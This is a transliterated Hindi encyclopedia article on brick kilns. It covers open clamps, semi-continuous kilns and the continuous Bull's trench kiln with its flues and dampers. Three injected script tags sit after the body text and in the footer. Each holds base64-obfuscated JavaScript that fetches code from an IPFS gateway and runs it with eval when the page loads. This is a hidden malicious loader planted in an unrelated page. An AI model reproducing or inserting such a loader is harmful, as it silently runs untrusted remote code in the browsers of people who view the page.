ईंट का भट्टा
eetan ka bhattha eetoanan ko bhatthe mean pakaya jata hai. bhatthe tin prakar ke hote haian.
(1) khule bhatthe, jaise pajave,
(2) ardh anavarat,
(3) anavarat (lagatar)1
inamean se aantim ke kee vibhag kie ja sakate haian, jaise gheredar, ayatakar, oopar hava khianchanevala, niche hava khianchanevala, ityadi. 150px|center
khula bhattha-gili mitti se banaee, sukhaee, phir tap ka poorn asar ane ke lie ek doosare se tho di-tho di doori par ikatthi ki gee kachchi eetoanan ke samooh ko dher (aangreji mean klaianp) kahate haian. achchhi riti se bane dher mean ek ayatakar ya samalanb chaturbhujakar pharsh hota hai jo lanbaee ke anudish dhaloo hota hai. nichala sira bhoomi ko ek phut gahara khodakar banaya jata hai aur oopari sira jamin ko patakar ooancha kar diya jata hai. dhal 6 mean 1 ki hoti hai. pharsh par do phut, moti tah kisi turant ag pak d lenevale padarth ki, yatha sookhi ghas, phoos, lid, gobar, mahue ki sithi adi ki, rakh di jati hai. isake oopari sire par kachchi sukhaee eetoanan ki paanch chhah katarean rakh di jati haian. phir eetoanan aur jalavan ko ek ke bad ek karake rakha jata hai. jyoan-jyoan dher uancha hota jata hai, jalavan ke star ki motaee ghire-dhire kam kar di jati hai. sab kuchh bhar jane ke bad dher par gili mitti chhop di jati hai jisase bhitar ki ushma yathasanbhav bhitar hi rahe. dher ko poornataya jalane mean chhah se lekar ath saptah tak lag jate haian aur isake thanda hone mean bhi itana hi samay lagata hai. is riti mean jalavan paryapt kam lagata hai; parantu eeteanan badhiya mel ki nahian ban pati; at: yah dhang aant mean labhaprad nahian siddh hota.
ardh anavarat bhatthe-ardh anavarat bhatthe chakrakar athava ayatakar banae jate haian aur ve aanshat: ya poornat: bhoomi ke oopar rah sakate haian. jalavan ke lie lak di (chahe sookhi chahe gili), b de ianjanoan ki bhatthiyoan se jhara adhajala patthar ka koyala ya lak di ka koyala prayukt ho sakata hai. donoan or muanh bana rahata hai jo nikalane aur bharane ke kam ata hai. ag prajvalit karane ke bad in muanhoan ko pahale ro doan aur dhokoan se aur bad mean gili mitti se bhali bhaanti dhak diya jata hai jisamean bhitar ki garami bhitar hi rahe. 150px|center
anavarat bhatthe-anavarat bhatthe kee prakar ke hate haian. kuchh bhoomi ke niche banae jate haian aur ve khaee bhatthe (treanch kiln) kahalate haian. kuchh aanshat: bhoomi ke oopar aur aanshat: niche banae jate haian. khaee bhatthoan mean agal bagal divar banane ki avashyakata nahian p dati. 'bul' ka bhattha isi prakar ka bhattha hai.
150px|center
bul ka bhattha b dean pariman mean lagatar eetan utpadan ke lie upayukt hai. isamean ag ka ghera barabar badhata rahata hai. jaise-jaise ag age badhati hai, vaise-vaise bhatthe ke vibhinn kaksh tapt hote haian. pratyek kaksh mean nikalane aur bharane ke lie ek-ek dvar rahata hai. isake atirikt pratyek kaksh mean ek dhuaankas (floo) hota hai jisase hava ghusati hai. ek any dhuaankas vayu ki nikasi ke lie hota hai jo bhitar hi bhitar chalakar ek keandriy chimani se ja milata hai.
vayu grahan karanevale dhuaankas mean ek mandak (daianpar) hota hai jisase vayupravah manonukool niyantrit ho sakata hai. nikasivale dhuaankas mean bhi mandak laga rahata hai jise ichchhanusar khola ya band kiya ja sakata hai. kakshoan ka kram aisa rahata hai ki thande ho rahe athava garam kakshoan se tapt havaean doosare kakshoan mean bheji ja sakean. is prakar chimani dvara nikal jane ke pahale garam hava ki aanch ka upayog eetoanan ko sukhane, garam karane athava aanshik roop mean pakane ke lie kiya ja sakata hai. har samay pratyek kaksh mean ek n ek kriya hoti rahati hai, jisase kachchi eetoanan ke baujhe jane se lekar paki eetoanan ke nikalane tak ke kary ka kram vidhivath barabar chaloo rahata hai.[1]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 21 |
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>